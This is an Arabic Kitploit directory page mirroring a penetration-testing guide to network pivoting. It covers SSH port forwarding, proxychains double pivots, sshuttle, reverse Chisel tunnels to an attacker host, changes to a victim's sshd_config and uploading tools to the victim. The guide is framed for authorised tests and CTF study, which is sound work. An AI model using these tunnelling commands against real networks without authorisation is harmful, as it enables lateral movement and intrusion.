Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pentest-pivoting — دليل موجز حول التنقّل في الشبكة (Network Pivoting) لاختبارات الاختراق / تحديات CTF. | Kitploit
أدوات/GitHubGitHub/t3l3machus/pentest-pivoting
بروكسيات الويب والاعتراضالحركة الجانبيةأمن الشبكاتCTFاختبار الاختراقالتعلم والتعليمالفريق الأحمرموارد منسقة
GitHubt3l3machus/pentest-pivoting

pentest-pivoting

دليل موجز حول التنقّل في الشبكة (Network Pivoting) لاختبارات الاختراق / تحديات CTF.

عرض المستودع
228441منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

دليل التنقل

جدول المحتويات

  1. ملاحظات مهمة
  2. إعادة توجيه المنافذ الديناميكية عبر SSH
  3. إعادة توجيه المنافذ عن بُعد عبر SSH
  4. إعادة توجيه المنافذ محليًا عبر SSH
  5. التنقل المزدوج
  6. sshuttle
  7. Chisel
  8. استخدام Burpsuite كوكيل (Proxy)
  9. موارد مفيدة

ملاحظات مهمة

  • لا تستخدم طلبات صدى ICMP (ping) لاختبار وكلاء SOCKS.
    SOCKS هو بروتوكول إنترنت يتبادل حزم الشبكة بين العميل والخادم عبر خادم وكيل. عمليًا، يقوم خادم SOCKS بتوجيه اتصالات TCP إلى عنوان IP عشوائي، ويوفر وسيلة لإعادة توجيه حزم UDP. يجب اختباره باستخدام بروتوكول قائم على TCP (مثل محاولة SSH أو إرسال طلب HTTP GET إلى مضيف عبر نفق التنقل).

  • يجب استخدام NMAP مع فحص اتصال TCP (-sT) وبدون ping (-Pn)
    ينطبق هذا أيضًا على فحص الإصدار (-sV) وفحص السكربتات (-sC). يجب استخدامها مع -sT و -Pn.
    أمثلة:

    root@kitploit:~
    proxychains nmap -sT -Pn -p- x.x.x.x
    proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
    

    نصيحة: يمكنك رفع naabu إلى الجهاز الضحية والمسح باحترافية.

  • استخدام السكربتات والملفات الثنائية مع proxychains
    نصيحة عند استخدام proxychains هي التأكد من أنه إذا كنت تشغل برنامجًا مفسرًا (مثل سكربت Python)، فمن الجيد الإشارة صراحةً إلى ملف Python الثنائي قبل ذلك السكربت، حتى لو كان السكربت يبدأ بـ hash bang، على سبيل المثال:

    root@kitploit:~
    proxychains4 [-q -f proxychains.conf] python python_script.py
    

    بدون هذه الإشارة المحددة إلى مفسر السكربت، قد يفشل أحيانًا توجيه حركة المرور الناتجة عن السكربت عبر الوكيل كما قصدت، وسيفشل اتصال الشبكة. مصدر النصيحة

  • قم بإلغاء تعليق سطر "quite mode" في /etc/proxychains.conf لتجنب مخرجات stdout التي قد تكون مزعجة في بعض الأحيان.
    هذا مجرد اقتراح.

إعادة توجيه المنافذ الديناميكية عبر SSH

يسمح لك بإنشاء socket على الجهاز المحلي (عميل ssh)، والذي يعمل كخادم وكيل SOCKS. عندما يتصل عميل بهذا المنفذ، يتم إعادة توجيه الاتصال إلى الجهاز البعيد (خادم ssh)، ثم يتم إعادة توجيهه إلى منفذ ديناميكي على الجهاز الهدف.

طريقة الإعداد:

  1. عدّل /etc/proxychains.conf ونفّذ ما يلي:

    • أزل Dynamic chain من التعليق.
    • علّق على Strict chain و Random chain.
    • أضف السطر socks4 127.0.0.1 9050 في نهاية الملف (قائمة الوكلاء)، واحفظ وأغلق الملف. *يمكنك بالطبع استخدام منفذ مختلف.
  2. قم بإعداد إعادة توجيه المنافذ الديناميكية عبر SSH:

root@kitploit:~
ssh -D 127.0.0.1:9050 user@victim-IP

أمثلة الاستخدام:
حيث x.x.x.x هو عنوان IP لمضيف ينتمي إلى الشبكة التي تم إنشاء النفق إليها:

root@kitploit:~
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]

لاستخدام Firefox عبر النفق:

root@kitploit:~
proxychains firefox

إعادة توجيه المنافذ عن بُعد عبر SSH

إذا كنت تبحث عن طريقة للحصول على صدفة عكسية عبر نفق تنقل، فهذا ما تحتاجه. يتيح لك إعادة توجيه منفذ على الجهاز البعيد (الضحية) إلى منفذ على الجهاز المحلي (المهاجم).

طريقة الإعداد:

  1. ادخل عبر SSH إلى الجهاز الضحية.

  2. عدّل /etc/ssh/sshd_config ونفّذ ما يلي:

    • أزل GatewayPorts no من التعليق وغيّره إلى Yes. احفظ وأغلق الملف.

    *هذا مهم جدًا والعديد من الأدلة على الإنترنت لا تذكره. إذا لم تفعل ذلك، ستتمكن فقط من ضبط النفق على 127.0.0.1 بدلاً من 0.0.0.0، مما سيؤدي إلى عدم إعادة توجيه حركة المرور القادمة من أي مضيف باستثناء المضيف المحلي.

    • أعد تشغيل خدمة SSH لكي تصبح التغييرات سارية المفعول. sudo service ssh restart
    • اخرج وعد إلى جهازك.
  3. قم بإعداد إعادة توجيه المنافذ عن بُعد عبر SSH:
    بشكل أساسي، بعد إعداده كما ذُكر، يكون الأمر ببساطة كما يلي:

root@kitploit:~
ssh -R 2222:*:2222 user@victim-IP

من أجل اختبار ما إذا كان يعمل، يمكنك القيام بما يلي:
قم بإعداد مستمع (مثل netcat) على جهاز المهاجم (على المنفذ الذي قمت بتكوين إعادة التوجيه البعيد عليه، في هذا المثال 2222) وأرسل طلبًا من الجهاز الضحية إلى نفسه (localhost). في هذا المثال، سيكون ذلك nc 127.0.0.1 2222. إذا استلم جهاز المهاجم الاتصال، فهذا يعني أن أ) الأمر يعمل و ب) كل اتصال من مضيفات التنقل إلى victimip:2222 سيتم إعادة توجيهه إلى جهاز المهاجم.

يمكنك ضبط منافذ متعددة بهذه الطريقة:

root@kitploit:~
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP

تحذير: يجب توجيه الطلبات القادمة من المضيفات الخارجية (شبكة التنقل) إلى عنوان IP الخاص بالضحية حتى يتم إعادة توجيهها مرة أخرى إلى جهاز المهاجم.

*يمكنك أيضًا تنفيذ إعادة توجيه المنافذ عن بُعد عبر اتصال SSH من الجهاز الضحية إلى جهاز المهاجم.

إعادة توجيه المنافذ محليًا عبر SSH

تتيح لك إعادة توجيه المنافذ المحلية إعادة توجيه منفذ على الجهاز المحلي (المهاجم) إلى منفذ على الجهاز البعيد (الضحية). وهي مفيدة بشكل خاص لفحص المنافذ المحلية على الضحية.

الاستخدام:

root@kitploit:~
ssh user@victim-IP -L 8888:127.0.0.1:8086

يمكنك الآن استخدام nmap على سبيل المثال لفحص المنفذ 8086 على الجهاز الضحية بهذه الطريقة:

root@kitploit:~
nmap -Pn -n -p8888 -sV 127.0.0.1

التنقل المزدوج

مثال على كيفية تنفيذ التنقل المزدوج باستخدام إعادة توجيه المنافذ الديناميكية عبر SSH و Proxychains.

المفهوم:
لنفترض أن لدينا الأجهزة الأربعة التالية.

IPالدور
10.10.10.10المهاجم
10.10.10.11Jumphost1
172.16.1.12Jumphost2
172.16.2.13Jumphost3

يستطيع المهاجم الوصول إلى Jumphost1.
يستطيع Jumphost1 الوصول إلى Jumphost2.
يستطيع Jumphost2 الوصول إلى Jumphost3.

  1. للوصول إلى Jumphost2، نفّذ تعليمات إعادة توجيه المنافذ الديناميكية عبر SSH المذكورة سابقًا ضد Jumphost1.
  2. للوصول إلى Jumphost3، عدّل /etc/proxychains.conf وأضف إدخال وكيل آخر في نهاية الملف. ستبدو نهاية ملف proxychains.conf الآن هكذا:
root@kitploit:~
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
  1. ادخل عبر SSH إلى Jumphost1 وقم بإعداد إعادة توجيه ديناميكي آخر للمنافذ ضد Jumphost2 (يجب أن يكون المنفذ المحلي الذي تختاره هو نفسه المنفذ المعين لإدخال الوكيل الثاني في proxychains.conf):
root@kitploit:~
ssh -D 127.0.0.1:9999 user@Jumphost2

يجب أن تكون الآن قادرًا على الوصول إلى Jumphost3.

sshuttle

يتيح لك sshuttle إنشاء اتصال VPN من جهازك إلى أي خادم بعيد عبر ssh، طالما أن هذا الخادم يحتوي على python 2.3 أو أحدث. لكي يعمل، يجب أن تملك صلاحيات root على الجهاز المحلي، لكن يمكنك أن تملك حسابًا عاديًا على الخادم. من الممكن تشغيل sshuttle أكثر من مرة في نفس الوقت على جهاز عميل واحد، مع الاتصال بخادم مختلف في كل مرة، وبالتالي يمكنك أن تكون على أكثر من VPN في وقت واحد. راجع مستودع sshuttle على جيثب.

الاستخدام:
بافتراض أننا نريد التنقل إلى 172.16.2.0/16:

root@kitploit:~
sshuttle -vvr root@victim 172.16.2.0/16

إذا أردت استخدام مفتاح ssh:

root@kitploit:~
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16

Chisel

Chisel هو نفق TCP/UDP سريع، يُنقل عبر HTTP، ومؤمَّن عبر SSH. ملف تنفيذي واحد يتضمن كلاً من العميل والخادم. مكتوب بلغة Go (golang). إنه رائع ومفيد بشكل لا يصدق.

التثبيت:
يمكنك تثبيت chisel بسهولة على kali:

root@kitploit:~
apt install chisel

لاستخدامه، تحتاج أيضًا إلى رفع ملف chisel الثنائي إلى الجهاز الضحية. يمكنك تنزيل الإصدارات المترجمة مسبقًا هنا.

مثال على إعادة توجيه المنافذ محليًا
على جهاز المهاجم:

root@kitploit:~
chisel server -p 8000 --reverse

على الجهاز الضحية:

root@kitploit:~
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443

سيؤدي هذا إلى إعادة توجيه حركة المرور من المنفذ 1234 على جهاز المهاجم إلى المنفذ 8443 على الجهاز الضحية.

استخدام Burpsuite كوكيل (Proxy)

يدعم Burpsuite إمكانية إعداد الوكلاء (Proxies)، وهي ميزة مفيدة وقوية بشكل لا يصدق.

طريقة الإعداد:
شغّل Burpsuite ونفّذ ما يلي:

  • انتقل إلى Proxy/Options واضغط add في قسم Proxy Listeners.
  • عيّن منفذ الربط والواجهة.
  • في التبويب الثاني، عيّن المضيف والمنفذ الذي تريد إعادة توجيه حركة المرور إليه.

بالتوافق مع إعداد إعادة توجيه المنافذ الديناميكية عبر SSH أو sshuttle، يمكنك الآن استخدام Burpsuite لتمرير حركة المرور إلى المضيفين المطلوبين عن طريق إرسال حركة المرور إلى منفذ الربط على localhost. مثال مفيد مع gobuster لفحص الدلائل عبر النفق (بافتراض أنك عيّنت المنفذ 2222 كمنفذ إعادة التوجيه):

root@kitploit:~
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt

موارد مفيدة

  • https://artkond.com/2017/03/23/pivoting-guide/
  • https://catharsis.net.au/blog/network-pivoting-and-tunneling-guide/
  • https://medium.com/cyberxerx/how-to-setup-proxychains-in-kali-linux-by-terminal-618e2039b663
تنزيل الأداة